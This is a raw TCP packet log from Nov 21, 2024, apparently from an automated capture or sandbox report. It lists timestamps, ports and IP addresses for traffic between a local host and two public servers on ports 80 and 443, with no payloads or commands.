Nov 21, 2024 14:11:31.317039013 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.465905905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.465945005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.465998888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.466022968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.466137886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.466185093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.466830969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.467005968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.467066050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.467617989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.467777014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.467860937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.470202923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.470257044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.470302105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.470581055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.470747948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.470799923 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.471381903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.471689939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.471776962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.471832037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.472474098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.472527027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.472589970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.473304033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.473362923 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.473397017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.474056005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.474103928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.474167109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.474857092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.474915028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.474992037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.475677013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.475775003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.475800991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.476445913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.476521969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.476532936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.477271080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.477330923 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.477386951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.478100061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.478156090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.478228092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.478888035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.478935957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.479010105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.479660034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.479717970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.479779959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.480541945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.480576992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.480588913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.481232882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.481296062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.481297970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.482048988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.482098103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.482161999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.482877016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.482933998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.482996941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.483767986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.483813047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.483870029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.484528065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.484580040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.484642982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.485203028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.485322952 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.485330105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.486022949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.486073971 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.486136913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.486807108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.486854076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.486917019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.487632990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.487694025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.487725019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.488406897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.488461971 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.488523006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.489207983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.489254951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.489332914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.490014076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.490081072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.490130901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.490818024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.490865946 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.490921021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.491578102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.491595984 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:31.491626978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.491641998 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:31.491653919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.491697073 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:31.492440939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.492511988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.492556095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.493228912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.493274927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.493349075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.493999958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.494050026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.494124889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.494862080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.494931936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.494977951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.495594025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.495718002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.495738029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.496401072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.496485949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.496507883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.497163057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.497225046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.497303963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.497984886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.498034000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.498080969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.498759985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.498810053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.498850107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.499639988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.499752045 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.499753952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.500380993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.500430107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.500456095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.501173019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.501224995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.501224995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.502000093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.502087116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.502151012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.502785921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.502835989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.502886057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.503590107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.503648996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.503731966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.504349947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.504405975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.504466057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.505198002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.505253077 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.505332947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.505947113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.506015062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.506037951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.506733894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.506782055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.506867886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.507525921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.507571936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.507719994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.508325100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.508359909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.508382082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.509131908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.509202003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.523998976 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:31.524017096 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:31.524032116 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:31.524036884 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:31.581842899 CET	49930	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:31.581923962 CET	443	49930	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:31.582041979 CET	49930	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:31.583581924 CET	49930	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:31.583616018 CET	443	49930	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:31.658056974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.658102036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.658142090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.658365011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.658483028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.658576965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.659173012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.659260988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.659327030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.659976006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.662276983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.662328959 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.662522078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.662723064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.662759066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.662764072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.663449049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.663492918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.663570881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.664309025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.664397955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.664453030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.665134907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.665184975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.665249109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.666007042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.666048050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.666104078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.666640997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.666702986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.666753054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.667489052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.667552948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.667577028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.668339014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.668375969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.668401003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.669027090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.669081926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.669096947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.669819117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.669953108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.669992924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.670623064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.670665026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.670687914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.671427011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.671489954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.671546936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.672266006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.672360897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.672396898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.673012018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.673053026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.673130035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.673810005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.673857927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.673896074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.674619913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.674717903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.674745083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.675380945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.675508976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.675523043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.676177025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.676224947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.676331997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.676975965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.677057981 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.677103043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.677794933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.677845001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.677906036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.678591013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.678685904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.678699970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.679450035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.679485083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.679496050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.680186987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.680305004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.680320024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.681022882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.681066036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.681076050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.681788921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.681863070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.681904078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.682559967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.682605982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.682647943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.683382034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.683442116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.683500051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.684148073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.684300900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.684324026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.684988022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.685039043 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.685085058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.685807943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.685859919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.685889006 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.686547995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.686608076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.686667919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.687365055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.687475920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.687521935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.688138962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.688189030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.688250065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.688936949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.688982964 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.689058065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.689743042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.689800978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.689898014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.690685034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.690741062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.690833092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.691333055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.691458941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.691509008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.692118883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.692184925 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.692236900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.692938089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.692991972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.693011999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.693716049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.693766117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.693825006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.694519997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.694574118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.694619894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.695302010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.695353031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.695415020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.696120977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.696165085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.696211100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.696921110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.696966887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.697033882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.697763920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.697798967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.697805882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.698494911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.698544025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.698604107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.699302912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.699368000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.699399948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.700095892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.700177908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.700253010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.700895071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.700953007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.700967073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.742490053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.850183964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.850409985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.850446939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.850728035 CET	80	49903	34.116.198.130	192.168.2.6
